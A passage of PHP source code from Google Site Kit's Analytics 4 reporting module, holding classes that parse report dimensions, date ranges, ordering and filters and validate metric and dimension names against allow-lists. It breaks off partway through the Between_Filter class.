2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\Util\Date; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\DateRange as Google_Service_AnalyticsData_DateRange; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Dimension as Google_Service_AnalyticsData_Dimension; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\DimensionOrderBy as Google_Service_AnalyticsData_DimensionOrderBy; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\MetricOrderBy as Google_Service_AnalyticsData_MetricOrderBy; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\OrderBy as Google_Service_AnalyticsData_OrderBy; /** * A class with helper methods to parse report properties * * @since 1.130.0 * @access private * @ignore */ class ReportParsers { /** * Parses report dimensions received in the request params. * * @since 1.99.0 * @since 1.130.0 Moved into `ReportParsers` for shared used (originally between `Report` and `PivotReport`). `PivotReport` has since been removed. * * @param Data_Request $data Data request object. * @return Google_Service_AnalyticsData_Dimension[] An array of AnalyticsData Dimension objects. */ protected function parse_dimensions( Data_Request $data ) { $dimensions = $data['dimensions']; if ( empty( $dimensions ) || ( ! is_string( $dimensions ) && ! is_array( $dimensions ) ) ) { return array(); } if ( is_string( $dimensions ) ) { $dimensions = explode( ',', $dimensions ); } elseif ( is_array( $dimensions ) && ! wp_is_numeric_array( $dimensions ) ) { // If single object is passed. $dimensions = array( $dimensions ); } $dimensions = array_filter( array_map( function ( $dimension_def ) { $dimension = new Google_Service_AnalyticsData_Dimension(); if ( is_string( $dimension_def ) ) { $dimension->setName( $dimension_def ); } elseif ( is_array( $dimension_def ) && ! empty( $dimension_def['name'] ) ) { $dimension->setName( $dimension_def['name'] ); } else { return null; } return $dimension; }, array_filter( $dimensions ) ) ); return $dimensions; } /** * Parses report date ranges received in the request params. * * @since 1.99.0 * @since 1.130.0 Moved into `ReportParsers` for shared used (originally between `Report` and `PivotReport`). `PivotReport` has since been removed. * @since 1.157.0 Added support for dateRangeName and compareDateRangeName parameters. * * @param Data_Request $data Data request object. * @return Google_Service_AnalyticsData_DateRange[] An array of AnalyticsData DateRange objects. */ public function parse_dateranges( Data_Request $data ) { $date_ranges = array(); $start_date = $data['startDate'] ?? ''; $end_date = $data['endDate'] ?? ''; if ( strtotime( $start_date ) && strtotime( $end_date ) ) { $compare_start_date = $data['compareStartDate'] ?? ''; $compare_end_date = $data['compareEndDate'] ?? ''; $date_ranges[] = array( $start_date, $end_date ); // When using multiple date ranges, it changes the structure of the response: // Aggregate properties (minimum, maximum, totals) will have an entry per date range. // The rows property will have additional row entries for each date range. if ( strtotime( $compare_start_date ) && strtotime( $compare_end_date ) ) { $date_ranges[] = array( $compare_start_date, $compare_end_date ); } } else { // Default the date range to the last 28 days. $date_ranges[] = Date::parse_date_range( 'last-28-days', 1 ); } // Get date range names if provided. $date_range_name = $data['dateRangeName'] ?? ''; $compare_date_range_name = $data['compareDateRangeName'] ?? ''; $date_ranges = array_map( function ( $date_range, $index ) use ( $date_range_name, $compare_date_range_name ) { list ( $start_date, $end_date ) = $date_range; $date_range_obj = new Google_Service_AnalyticsData_DateRange(); $date_range_obj->setStartDate( $start_date ); $date_range_obj->setEndDate( $end_date ); // Set date range names if provided. if ( 0 === $index && ! empty( $date_range_name ) ) { $date_range_obj->setName( $date_range_name ); } elseif ( 1 === $index && ! empty( $compare_date_range_name ) ) { $date_range_obj->setName( $compare_date_range_name ); } return $date_range_obj; }, $date_ranges, array_keys( $date_ranges ) ); return $date_ranges; } /** * Parses the orderby value of the data request into an array of AnalyticsData OrderBy object instances. * * @since 1.99.0 * @since 1.130.0 Moved into `ReportParsers` for shared used (originally between `Report` and `PivotReport`). `PivotReport` has since been removed. * * @param Data_Request $data Data request object. * @return Google_Service_AnalyticsData_OrderBy[] An array of AnalyticsData OrderBy objects. */ protected function parse_orderby( Data_Request $data ) { $orderby = $data['orderby']; if ( empty( $orderby ) || ! is_array( $orderby ) || ! wp_is_numeric_array( $orderby ) ) { return array(); } $results = array_map( function ( $order_def ) { $order_by = new Google_Service_AnalyticsData_OrderBy(); $order_by->setDesc( ! empty( $order_def['desc'] ) ); if ( isset( $order_def['metric'] ) && isset( $order_def['metric']['metricName'] ) ) { $metric_order_by = new Google_Service_AnalyticsData_MetricOrderBy(); $metric_order_by->setMetricName( $order_def['metric']['metricName'] ); $order_by->setMetric( $metric_order_by ); } elseif ( isset( $order_def['dimension'] ) && isset( $order_def['dimension']['dimensionName'] ) ) { $dimension_order_by = new Google_Service_AnalyticsData_DimensionOrderBy(); $dimension_order_by->setDimensionName( $order_def['dimension']['dimensionName'] ); $order_by->setDimension( $dimension_order_by ); } else { return null; } return $order_by; }, $orderby ); $results = array_filter( $results ); $results = array_values( $results ); return $results; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\SharedRequestHelpers * * @package Google\Site_Kit\Modules\Analytics_4\Report * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report; use Google\Site_Kit\Context; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\Validation\Exception\Invalid_Report_Dimensions_Exception; use Google\Site_Kit\Core\Validation\Exception\Invalid_Report_Metrics_Exception; use Google\Site_Kit\Core\Util\URL; use Google\Site_Kit\Modules\Analytics_4\Report\Filters\Empty_Filter; use Google\Site_Kit\Modules\Analytics_4\Report\Filters\In_List_Filter; use Google\Site_Kit\Modules\Analytics_4\Report\Filters\String_Filter; use Google\Site_Kit\Modules\Analytics_4\Report\Filters\Numeric_Filter; use Google\Site_Kit\Modules\Analytics_4\Report\Filters\Between_Filter; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Dimension as Google_Service_AnalyticsData_Dimension; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\FilterExpression as Google_Service_AnalyticsData_FilterExpression; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\FilterExpressionList as Google_Service_AnalyticsData_FilterExpressionList; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\RunReportRequest as Google_Service_AnalyticsData_RunReportRequest; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Metric as Google_Service_AnalyticsData_Metric; use WP_Error; /** * A class containing shared methods for creating AnalyticsData Report requests. * * @since 1.130.0 * @access private * @ignore */ class RequestHelpers { /** * Plugin context. * * @since 1.130.0 * @var Context */ private $context; /** * Constructs a new instance of the class. * * @param Context $context Plugin context. */ public function __construct( $context ) { $this->context = $context; } /** * Builds a Analytics Data Report request's shared properties. * * @since 1.130.0 * * @param Data_Request $data Data request object. * @param Google_Service_AnalyticsData_RunReportRequest $request The report request object. * @param bool $is_shared_request Determines whether the current request is shared or not. * @return Google_Service_AnalyticsData_RunReportRequest The report request object. */ public function shared_create_request( Data_Request $data, $request, $is_shared_request = false ) { $keep_empty_rows = is_array( $data->data ) && array_key_exists( 'keepEmptyRows', $data->data ) ? filter_var( $data->data['keepEmptyRows'], FILTER_VALIDATE_BOOLEAN ) : true; $request->setKeepEmptyRows( $keep_empty_rows ); $dimension_filters = $this->parse_dimension_filters( $data ); $request->setDimensionFilter( $dimension_filters ); $metric_filters = $this->parse_metric_filters( $data ); if ( ! empty( $metric_filters ) ) { $request->setMetricFilter( $metric_filters ); } $report_parsers = new ReportParsers(); $date_ranges = $report_parsers->parse_dateranges( $data ); $request->setDateRanges( $date_ranges ); $metrics = $data['metrics']; if ( is_string( $metrics ) || is_array( $metrics ) ) { if ( is_string( $metrics ) ) { $metrics = explode( ',', $data['metrics'] ); } elseif ( is_array( $metrics ) && ! wp_is_numeric_array( $metrics ) ) { // If single object is passed. $metrics = array( $metrics ); } $metrics = array_filter( array_map( function ( $metric_def ) { $metric = new Google_Service_AnalyticsData_Metric(); if ( is_string( $metric_def ) ) { $metric->setName( $metric_def ); } elseif ( is_array( $metric_def ) ) { $metric->setName( $metric_def['name'] ); if ( ! empty( $metric_def['expression'] ) ) { $metric->setExpression( $metric_def['expression'] ); } } else { return null; } return $metric; }, $metrics ) ); if ( ! empty( $metrics ) ) { try { $this->validate_metrics( $metrics ); } catch ( Invalid_Report_Metrics_Exception $exception ) { return new WP_Error( 'invalid_analytics_4_report_metrics', $exception->getMessage() ); } if ( $is_shared_request ) { try { $this->validate_shared_metrics( $metrics ); } catch ( Invalid_Report_Metrics_Exception $exception ) { return new WP_Error( 'invalid_analytics_4_report_metrics', $exception->getMessage() ); } } $request->setMetrics( $metrics ); } } return $request; } /** * Validates the given metrics for a report. * * Metrics must have valid names, matching the regular expression ^[a-zA-Z0-9_]+$ in keeping with the GA4 API. * * @since 1.99.0 * @since 1.130.0 Moved into RequestHelpers for shared use in reports. * * @param Google_Service_AnalyticsData_Metric[] $metrics The metrics to validate. * @throws Invalid_Report_Metrics_Exception Thrown if the metrics are invalid. */ protected function validate_metrics( $metrics ) { $valid_name_expression = '^[a-zA-Z0-9_]+$'; $invalid_metrics = array_map( function ( $metric ) { return $metric->getName(); }, array_filter( $metrics, function ( $metric ) use ( $valid_name_expression ) { return ! preg_match( "#$valid_name_expression#", $metric->getName() ?? '' ); } ) ); if ( count( $invalid_metrics ) > 0 ) { $message = count( $invalid_metrics ) > 1 ? sprintf( /* translators: 1: the regular expression for a valid name, 2: a comma separated list of the invalid metrics. */ __( 'Metric names should match the expression %1$s: %2$s', 'google-site-kit' ), $valid_name_expression, join( /* translators: used between list items, there is a space after the comma. */ __( ', ', 'google-site-kit' ), $invalid_metrics ) ) : sprintf( /* translators: 1: the regular expression for a valid name, 2: the invalid metric. */ __( 'Metric name should match the expression %1$s: %2$s', 'google-site-kit' ), $valid_name_expression, $invalid_metrics[0] ); throw new Invalid_Report_Metrics_Exception( $message ); } } /** * Validates the report metrics for a shared request. * * @since 1.99.0 * @since 1.130.0 Moved into RequestHelpers for shared use in reports. * * @param Google_Service_AnalyticsData_Metric[] $metrics The metrics to validate. * @throws Invalid_Report_Metrics_Exception Thrown if the metrics are invalid. */ protected function validate_shared_metrics( $metrics ) { $valid_metrics = apply_filters( 'googlesitekit_shareable_analytics_4_metrics', array( 'activeUsers', 'addToCarts', 'averageSessionDuration', 'bounceRate', 'keyEvents', 'ecommercePurchases', 'engagedSessions', 'engagementRate', 'eventCount', 'screenPageViews', 'screenPageViewsPerSession', 'sessions', 'sessionKeyEventRate', 'sessionsPerUser', 'totalAdRevenue', 'totalUsers', ) ); $invalid_metrics = array_diff( array_map( function ( $metric ) { // If there is an expression, it means the name is there as an alias, otherwise the name should be a valid metric name. // Therefore, the expression takes precedence to the name for the purpose of allow-list validation. return ! empty( $metric->getExpression() ) ? $metric->getExpression() : $metric->getName(); }, $metrics ), $valid_metrics ); if ( count( $invalid_metrics ) > 0 ) { $message = count( $invalid_metrics ) > 1 ? sprintf( /* translators: %s: is replaced with a comma separated list of the invalid metrics. */ __( 'Unsupported metrics requested: %s', 'google-site-kit' ), join( /* translators: used between list items, there is a space after the comma. */ __( ', ', 'google-site-kit' ), $invalid_metrics ) ) : sprintf( /* translators: %s: is replaced with the invalid metric. */ __( 'Unsupported metric requested: %s', 'google-site-kit' ), $invalid_metrics[0] ); throw new Invalid_Report_Metrics_Exception( $message ); } } /** * Validates the report dimensions for a shared request. * * @since 1.99.0 * @since 1.130.0 Moved into RequestHelpers for shared use in reports. * * @param Google_Service_AnalyticsData_Dimension[] $dimensions The dimensions to validate. * @throws Invalid_Report_Dimensions_Exception Thrown if the dimensions are invalid. */ public function validate_shared_dimensions( $dimensions ) { $valid_dimensions = apply_filters( 'googlesitekit_shareable_analytics_4_dimensions', array( 'audienceResourceName', 'adSourceName', 'city', 'country', 'date', 'deviceCategory', 'eventName', 'newVsReturning', 'pagePath', 'pageTitle', 'sessionDefaultChannelGroup', 'sessionDefaultChannelGrouping', 'customEvent:googlesitekit_post_author', 'customEvent:googlesitekit_post_categories', 'customEvent:googlesitekit_post_date', 'customEvent:googlesitekit_post_type', ) ); $invalid_dimensions = array_diff( array_map( function ( $dimension ) { return $dimension->getName(); }, $dimensions ), $valid_dimensions ); if ( count( $invalid_dimensions ) > 0 ) { $message = count( $invalid_dimensions ) > 1 ? sprintf( /* translators: %s: is replaced with a comma separated list of the invalid dimensions. */ __( 'Unsupported dimensions requested: %s', 'google-site-kit' ), join( /* translators: used between list items, there is a space after the comma. */ __( ', ', 'google-site-kit' ), $invalid_dimensions ) ) : sprintf( /* translators: %s: is replaced with the invalid dimension. */ __( 'Unsupported dimension requested: %s', 'google-site-kit' ), $invalid_dimensions[0] ); throw new Invalid_Report_Dimensions_Exception( $message ); } } /** * Parses dimension filters and returns a filter expression that should be added to the report request. * * @since 1.106.0 * @since 1.130.0 Moved into RequestHelpers for shared use in reports. * * @param Data_Request $data Data request object. * @return Google_Service_AnalyticsData_FilterExpression The filter expression to use with the report request. */ protected function parse_dimension_filters( Data_Request $data ) { $expressions = array(); $reference_url = trim( $this->context->get_reference_site_url(), '/' ); $hostnames = URL::permute_site_hosts( URL::parse( $reference_url, PHP_URL_HOST ) ); $expressions[] = $this->parse_dimension_filter( 'hostName', $hostnames ); if ( ! empty( $data['url'] ) ) { $url = str_replace( $reference_url, '', esc_url_raw( $data['url'] ) ); $expressions[] = $this->parse_dimension_filter( 'pagePath', $url ); } if ( is_array( $data['dimensionFilters'] ) ) { foreach ( $data['dimensionFilters'] as $key => $value ) { $expressions[] = $this->parse_dimension_filter( $key, $value ); } } $filter_expression_list = new Google_Service_AnalyticsData_FilterExpressionList(); $filter_expression_list->setExpressions( array_filter( $expressions ) ); $dimension_filters = new Google_Service_AnalyticsData_FilterExpression(); $dimension_filters->setAndGroup( $filter_expression_list ); return $dimension_filters; } /** * Parses and returns a single dimension filter. * * @since 1.106.0 * @since 1.130.0 Moved into RequestHelpers for shared use in reports. * * @param string $dimension_name The dimension name. * @param mixed $dimension_value The dimension fileter settings. * @return Google_Service_AnalyticsData_FilterExpression The filter expression instance. */ protected function parse_dimension_filter( $dimension_name, $dimension_value ) { // Use the string filter type by default. $filter_type = 'stringFilter'; if ( isset( $dimension_value['filterType'] ) ) { // If the filterType property is provided, use the explicit filter type then. $filter_type = $dimension_value['filterType']; } elseif ( wp_is_numeric_array( $dimension_value ) ) { // Otherwise, if the dimension has a numeric array of values, we should fall // back to the "in list" filter type. $filter_type = 'inListFilter'; } if ( 'stringFilter' === $filter_type ) { $filter_class = String_Filter::class; } elseif ( 'inListFilter' === $filter_type ) { $filter_class = In_List_Filter::class; // Ensure that the 'inListFilter' is provided a flat array of values. // Extract the actual values from the 'value' key if present. if ( isset( $dimension_value['value'] ) ) { $dimension_value = $dimension_value['value']; } } elseif ( 'emptyFilter' === $filter_type ) { $filter_class = Empty_Filter::class; } else { return null; } $filter = new $filter_class(); $filter_expression = $filter->parse_filter_expression( $dimension_name, $dimension_value ); if ( ! empty( $dimension_value['notExpression'] ) ) { $not_filter_expression = new Google_Service_AnalyticsData_FilterExpression(); $not_filter_expression->setNotExpression( $filter_expression ); return $not_filter_expression; } return $filter_expression; } /** * Parses metric filters and returns a filter expression that should be added to the report request. * * @since 1.111.0 * @since 1.130.0 Moved into RequestHelpers for shared use in reports. * * @param Data_Request $data Data request object. * @return Google_Service_AnalyticsData_FilterExpression The filter expression to use with the report request. */ protected function parse_metric_filters( Data_Request $data ) { $expressions = array(); if ( is_array( $data['metricFilters'] ) ) { foreach ( $data['metricFilters'] as $key => $value ) { $expressions[] = $this->parse_metric_filter( $key, $value ); } } if ( ! empty( $expressions ) ) { $filter_expression_list = new Google_Service_AnalyticsData_FilterExpressionList(); $filter_expression_list->setExpressions( array_filter( $expressions ) ); $metric_filters = new Google_Service_AnalyticsData_FilterExpression(); $metric_filters->setAndGroup( $filter_expression_list ); return $metric_filters; } return null; } /** * Parses and returns a single metric filter. * * @since 1.111.0 * @since 1.130.0 Moved into RequestHelpers for shared use in reports. * * @param string $metric_name The metric name. * @param mixed $metric_value The metric filter settings. * @return Google_Service_AnalyticsData_FilterExpression The filter expression instance. */ protected function parse_metric_filter( $metric_name, $metric_value ) { // Use the numeric filter type by default. $filter_type = 'numericFilter'; if ( isset( $metric_value['filterType'] ) ) { // If the filterType property is provided, use the explicit filter type then. $filter_type = $metric_value['filterType']; } if ( 'numericFilter' === $filter_type ) { if ( ! isset( $metric_value['operation'] ) || ! isset( $metric_value['value'] ) ) { return null; } if ( ! isset( $metric_value['value']['int64Value'] ) ) { return null; } $filter = new Numeric_Filter(); } elseif ( 'betweenFilter' === $filter_type ) { if ( ! isset( $metric_value['from_value'] ) || ! isset( $metric_value['to_value'] ) ) { return null; } if ( ! isset( $metric_value['from_value']['int64Value'] ) || ! isset( $metric_value['to_value']['int64Value'] ) ) { return null; } $filter = new Between_Filter(); } else { return null; } $filter_expression = $this->get_metric_filter_expression( $filter, $metric_name, $metric_value ); return $filter_expression; } /** * Returns correct filter expression instance based on the metric filter instance. * * @since 1.111.0 * @since 1.130.0 Moved into RequestHelpers for shared use in reports. * * @param Numeric_Filter|Between_Filter $filter The metric filter instance. * @param string $metric_name The metric name. * @param mixed $metric_value The metric filter settings. * @return Google_Service_AnalyticsData_FilterExpression The filter expression instance. */ protected function get_metric_filter_expression( $filter, $metric_name, $metric_value ) { if ( $filter instanceof Numeric_Filter ) { $value = $metric_value['value']['int64Value']; $filter_expression = $filter->parse_filter_expression( $metric_name, $metric_value['operation'], $value ); } elseif ( $filter instanceof Between_Filter ) { $from_value = $metric_value['from_value']['int64Value']; $to_value = $metric_value['to_value']['int64Value']; $filter_expression = $filter->parse_filter_expression( $metric_name, $from_value, $to_value ); } else { return null; } return $filter_expression; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\Row_Trait * * @package Google\Site_Kit\Modules\Analytics_4\Report * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\DimensionValue as Google_Service_AnalyticsData_DimensionValue; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\MetricHeader as Google_Service_AnalyticsData_MetricHeader; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\MetricValue as Google_Service_AnalyticsData_MetricValue; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Row as Google_Service_AnalyticsData_Row; /** * A trait that adds a helper method to create report rows. * * @since 1.99.0 * @access private * @ignore */ trait Row_Trait { /** * Creates and returns a new zero-value row for provided date and metrics. * * @since 1.99.0 * * @param Google_Service_AnalyticsData_MetricHeader[] $metric_headers Metric headers from the report response. * @param string $current_date The current date to create a zero-value row for. * @param int|bool $date_range_index The date range index for the current date. * @param string $default_value The default value to use for metric values in the row. * @return Google_Service_AnalyticsData_Row A new zero-value row instance. */ protected function create_report_row( $metric_headers, $current_date, $date_range_index, $default_value = '0' ) { $dimension_values = array(); $current_date_dimension_value = new Google_Service_AnalyticsData_DimensionValue(); $current_date_dimension_value->setValue( $current_date ); $dimension_values[] = $current_date_dimension_value; // If we have multiple date ranges, we need to add "date_range_{i}" index to dimension values. if ( false !== $date_range_index ) { $date_range_dimension_value = new Google_Service_AnalyticsData_DimensionValue(); $date_range_dimension_value->setValue( is_numeric( $date_range_index ) ? "date_range_{$date_range_index}" : $date_range_index ); $dimension_values[] = $date_range_dimension_value; } $metric_values = array(); foreach ( $metric_headers as $metric_header ) { $metric_value = new Google_Service_AnalyticsData_MetricValue(); $metric_value->setValue( $default_value ); $metric_values[] = $metric_value; } $row = new Google_Service_AnalyticsData_Row(); $row->setDimensionValues( $dimension_values ); $row->setMetricValues( $metric_values ); return $row; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\Request * * @package Google\Site_Kit\Modules\Analytics_4\Report * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\Validation\Exception\Invalid_Report_Dimensions_Exception; use Google\Site_Kit\Modules\Analytics_4\Report; use Google\Site_Kit\Modules\Analytics_4\Report\RequestHelpers; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\RunReportRequest as Google_Service_AnalyticsData_RunReportRequest; use WP_Error; /** * Class for Analytics 4 report requests. * * @since 1.99.0 * @access private * @ignore */ class Request extends Report { /** * Creates and executes a new Analytics 4 report request. * * @since 1.99.0 * * @param Data_Request $data Data request object. * @param bool $is_shared_request Determines whether the current request is shared or not. * @return RequestInterface|WP_Error Request object on success, or WP_Error on failure. */ public function create_request( Data_Request $data, $is_shared_request ) { $request_helpers = new RequestHelpers( $this->context ); $request = new Google_Service_AnalyticsData_RunReportRequest(); $request->setMetricAggregations( array( 'TOTAL', 'MINIMUM', 'MAXIMUM' ) ); if ( ! empty( $data['limit'] ) ) { $request->setLimit( $data['limit'] ); } $dimensions = $this->parse_dimensions( $data ); if ( ! empty( $dimensions ) ) { if ( $is_shared_request ) { try { $request_helpers->validate_shared_dimensions( $dimensions ); } catch ( Invalid_Report_Dimensions_Exception $exception ) { return new WP_Error( 'invalid_analytics_4_report_dimensions', $exception->getMessage() ); } } $request->setDimensions( (array) $dimensions ); } $request = $request_helpers->shared_create_request( $data, $request, $is_shared_request ); $orderby = $this->parse_orderby( $data ); if ( ! empty( $orderby ) ) { $request->setOrderBys( $orderby ); } return $request; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\String_Filter * * @package Google\Site_Kit\Modules\Analytics_4\Report\Filters * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report\Filters; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Filter as Google_Service_AnalyticsData_Filter; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\FilterExpression as Google_Service_AnalyticsData_FilterExpression; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\FilterExpressionList as Google_Service_AnalyticsData_FilterExpressionList; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\StringFilter as Google_Service_AnalyticsData_StringFilter; /** * Class for parsing the string filter. * * @since 1.106.0 * @since 1.147.0 Moved from `Analytics_4\Report\Dimension_Filters` to `Analytics_4\Report\Filters` for use with both dimensions and metrics. * @access private * @ignore */ class String_Filter implements Filter { /** * Converts the filter into the GA4 compatible filter expression. * * @since 1.106.0 * * @param string $name The filter field name. * @param mixed $value The filter value. * @return Google_Service_AnalyticsData_FilterExpression The filter expression instance. */ public function parse_filter_expression( $name, $value ) { $match_type = isset( $value['matchType'] ) ? $value['matchType'] : 'EXACT'; $filter_value = isset( $value['value'] ) ? $value['value'] : $value; // If there are many values for this filter, then it means that we want to find // rows where values are included in the list of provided values. In this case, // we need to create a nested filter expression that contains separate string filters // for each item in the list and combined into the "OR" group. if ( is_array( $filter_value ) ) { $expressions = array(); foreach ( $filter_value as $value ) { $expressions[] = $this->compose_individual_filter_expression( $name, $match_type, $value ); } $expression_list = new Google_Service_AnalyticsData_FilterExpressionList(); $expression_list->setExpressions( $expressions ); $filter_expression = new Google_Service_AnalyticsData_FilterExpression(); $filter_expression->setOrGroup( $expression_list ); return $filter_expression; } // If we have a single value for the filter, then we should use just a single // string filter expression and there is no need to create a nested one. return $this->compose_individual_filter_expression( $name, $match_type, $filter_value ); } /** * Composes individual filter expression and returns it. * * @since 1.106.0 * * @param string $name Filter name. * @param string $match_type Filter match type. * @param mixed $value Filter value. * @return Google_Service_AnalyticsData_FilterExpression The filter expression instance. */ protected function compose_individual_filter_expression( $name, $match_type, $value ) { $string_filter = new Google_Service_AnalyticsData_StringFilter(); $string_filter->setMatchType( $match_type ); $string_filter->setValue( $value ); $filter = new Google_Service_AnalyticsData_Filter(); $filter->setFieldName( $name ); $filter->setStringFilter( $string_filter ); $filter_expression = new Google_Service_AnalyticsData_FilterExpression(); $filter_expression->setFilter( $filter ); return $filter_expression; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\Metric_Filter\Numeric_Filter * * @package Google\Site_Kit\Modules\Analytics_4\Report\Metric_Filter * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report\Filters; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Filter as Google_Service_AnalyticsData_Filter; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\FilterExpression as Google_Service_AnalyticsData_FilterExpression; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\NumericFilter as Google_Service_AnalyticsData_NumericFilter; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\NumericValue; /** * Class for parsing the metric numeric filter. * * @since 1.111.0 * @access private * @ignore */ class Numeric_Filter { /** * Converts the metric filter into the GA4 compatible metric filter expression. * * @since 1.111.0 * * @param string $metric_name The metric name. * @param string $operation The filter operation. * @param integer $value The filter value. * @return Google_Service_AnalyticsData_FilterExpression The filter expression instance. */ public function parse_filter_expression( $metric_name, $operation, $value ) { $numeric_value = new NumericValue(); $numeric_value->setInt64Value( $value ); $numeric_filter = new Google_Service_AnalyticsData_NumericFilter(); $numeric_filter->setOperation( $operation ); $numeric_filter->setValue( $numeric_value ); $filter = new Google_Service_AnalyticsData_Filter(); $filter->setFieldName( $metric_name ); $filter->setNumericFilter( $numeric_filter ); $expression = new Google_Service_AnalyticsData_FilterExpression(); $expression->setFilter( $filter ); return $expression; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\In_List_Filter * * @package Google\Site_Kit\Modules\Analytics_4\Report\Filters * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report\Filters; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Filter as Google_Service_AnalyticsData_Filter; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\FilterExpression as Google_Service_AnalyticsData_FilterExpression; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\InListFilter as Google_Service_AnalyticsData_InListFilter; /** * Class for parsing the in-list filter. * * @since 1.106.0 * @since 1.147.0 Moved from `Analytics_4\Report\Dimension_Filters` to `Analytics_4\Report\Filters` for use with both dimensions and metrics. * @access private * @ignore */ class In_List_Filter implements Filter { /** * Converts the filter into the GA4 compatible filter expression. * * @since 1.106.0 * * @param string $name The filter field name. * @param mixed $value The filter value. * @return Google_Service_AnalyticsData_FilterExpression The filter expression instance. */ public function parse_filter_expression( $name, $value ) { $in_list_filter = new Google_Service_AnalyticsData_InListFilter(); $in_list_filter->setValues( $value ); $filter = new Google_Service_AnalyticsData_Filter(); $filter->setFieldName( $name ); $filter->setInListFilter( $in_list_filter ); $expression = new Google_Service_AnalyticsData_FilterExpression(); $expression->setFilter( $filter ); return $expression; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\Filters\Empty_Filter * * @package Google\Site_Kit\Modules\Analytics_4\Report\Filters * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report\Filters; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Filter as Google_Service_AnalyticsData_Filter; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\FilterExpression as Google_Service_AnalyticsData_FilterExpression; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\EmptyFilter as Google_Service_AnalyticsData_EmptyFilter; /** * Class for parsing the empty filter. * * @since 1.147.0 * @access private * @ignore */ class Empty_Filter implements Filter { /** * Parses the empty filter. * * @since 1.147.0 * @param string $name The filter field name. * @param string $value The filter value (not used). * * @return Google_Service_AnalyticsData_FilterExpression The filter expression. */ public function parse_filter_expression( $name, $value ) { $empty_filter = new Google_Service_AnalyticsData_EmptyFilter(); $filter = new Google_Service_AnalyticsData_Filter(); $filter->setFieldName( $name ); $filter->setEmptyFilter( $empty_filter ); $expression = new Google_Service_AnalyticsData_FilterExpression(); $expression->setFilter( $filter ); return $expression; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\Metric_Filter\Between_Filter * * @package Google\Site_Kit\Modules\Analytics_4\Report\Metric_Filter * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report\Filters; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Filter as Google_Service_AnalyticsData_Filter; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\FilterExpression as Google_Service_AnalyticsData_FilterExpression; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\BetweenFilter as Google_Service_AnalyticsData_BetweenFilter; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\NumericValue; /** * Class for parsing the metric between filter. * * @since 1.111.0 * @access private * @ignore */ class Between_Filter { /** * Converts the metric filter into the GA4 compatible metric filter expression. * * @since 1.111.0 * * @param string $metric_name The metric name. * @param integer $from_value The filter from value. * @param integer $to_value The filter to value. * @return Google_Service_AnalyticsData_FilterExpression The filter expression instance. */ public function parse_filter_expression( $metric_name, $from_value, $to_value ) { $numeric_from_value = new NumericValue(); 